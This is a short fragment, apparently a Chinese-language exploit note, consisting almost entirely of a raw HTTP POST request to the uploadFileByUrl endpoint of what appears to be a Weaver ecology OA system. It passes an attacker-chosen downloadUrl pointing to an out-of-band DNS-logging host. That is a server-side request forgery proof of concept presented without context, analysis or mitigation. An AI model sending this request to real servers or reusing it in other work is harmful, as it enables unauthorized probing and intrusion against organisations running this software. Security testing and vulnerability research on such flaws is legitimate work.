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源码 
POST /Api/doc/upload/mobile/uploadFileByUrl HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ecology_JSessionid=aaaGwWz1MuYav4579v4hy; JSESSIONID=aaaGwWz1MuYav4579v4hy; __randcode__=1ef064f7-badd-48c8-8069-a9ea55664f4d
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 66

{"downloadUrl":"http://0ad8ce63.dns.1433.eu.org","filename":"xxx"}